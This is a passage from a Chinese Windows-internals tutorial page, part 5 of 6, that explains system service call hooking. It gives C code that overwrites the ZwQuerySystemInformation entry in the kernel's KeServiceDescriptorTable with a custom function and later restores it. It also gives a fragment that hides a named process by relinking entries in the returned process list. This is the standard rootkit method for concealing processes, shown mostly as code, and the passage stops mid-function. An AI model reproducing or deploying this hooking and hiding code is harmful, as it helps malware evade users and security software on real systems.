设为首页  
联系我们  
加入收藏  
网页制作 冲浪宝典 图形图像 操作系统 软件教学 编程开发 认证考试 安全技术 站长专区 文学驿站 娱乐天地 游戏天地 办公软件
文章搜索
您的位置: 首页 >> 文章首页 >> 操作系统 >> Windows 2000 >> Windows服务调用机制
精品推荐
Windows 2000点击TOP10
·Windows NT/2000/XP 出现蓝屏并显示“STOP 0x0000007f”错误
·Win 2000密码破解
·Windows2000系统优化指南
·如何开启 Windows 2000 Server 上的远程桌面功能
·Windows2000操作系统中也用上Msconfig
·为Win2000添加五笔字型输入法
·Windows2000系统如何找回丢失的管理员密码
·[DIY]Windows2000三合一光盘
·Windows2000漏洞集锦
·Windows2000中如何配置JDK
操作系统点击TOP10
·Windows Vista完全硬盘安装法
·Windows Vista 激活不求人
·Windows Vista局域网网络连接设置
·Windows Vista系统动态桌面截图欣赏
·Windows XP中磁盘的分区应用
·Windows NT/2000/XP 出现蓝屏并显示“STOP 0x0000007f”错误
·让Windows XP变身Vista
·一招搞定Vista系统软件不兼容问题
·教你如何正确配置和优化Windows Vista
·只转两圈 加快Windows XP启动速度
精选专题

Windows服务调用机制

作者: 来源:网络文章 时间:2005-12-19 16:14:50

Windows服务调用机制(5)   将KeServiceDescriptorTable与相关数据结构联系起来,定义系统调用:

__declspec(dllimport)  ServiceDescriptorTableEntry KeServiceDescriptorTable;
#define SYSCALL(_function) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)_function+1)]


  定义各种未公开的函数,如ZwQuerySystemInformation:

typedef
NTSTATUS
(*ZWQUERYSYSTEMINFORMATION)(
IN   ULONG   SystemInformationClass,
IN OUT PVOID   SystemInformation,
IN   ULONG   SystemInformaitonLength,
OUT  PULONG  ReturnLength OPTIONAL);

 

 

    修改系统服务调用,保存原始的入口地址,修改为我们自定义的程序入口地址,如ZwQuerySystemInformation:


OldZwQuerySystemInformation  = (ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation));
_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))   = NewZwQuerySystemInformation;
_asm sti


  解除钩子,还原系统服务调用:

_asm cli
(ZWQUERYSYSTEMINFORMATION)(SYSCALL(ZwQuerySystemInformation))   = OldZwQuerySystemInformation;
_asm sti


  调用原始的系统服务程序代码:

NtStatus = (OldZwQuerySystemInformation)
    (SystemInformationClass,
    SystemInformation,
    SystemInformaitonLength,
    ReturnLength);


  隐藏进程,既是修改系统返回的数据队列中相关项的偏移量使起指向需要隐藏进程的下一个单元,也就是说跳过我们需要隐藏进程的单元:

if(RtlCompareUnicodeString(&pCurrentNK->Name,&ProcCur->ProcessName,TRUE) == 0)
{
  RtlUnicodeStringToAnsiString(&ProcNameA,&pCurrentNK->Name,TRUE);
  DbgPrint("Hidden Process Name: %s\n",ProcNameA.Buffer);
  if(ProcPre != NULL)
  {
        if(ProcCur->NextEntryDelta != 0)
    {
      ProcPre->NextEntryDelta += ProcCur->NextEntryDelta;
    }
    else
    {
      ProcPre->NextEntryDelta  = 0;
    }
  }
  else
  {
    if(ProcCur->NextEntryDelta != 0)
    {
      SystemInformation = (PSYSTEM_PROCESSES)((PTSTR)ProcCur + ProcCur->NextEntryDelta);
    }
       else

共6页 9 7 [1] [2] [3] [4] [5] [68 :>

Windows服务调用机制 相关文章:
Windows服务调用机制 相关软件:
特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
转载请注明来源:http://www.xgdown.com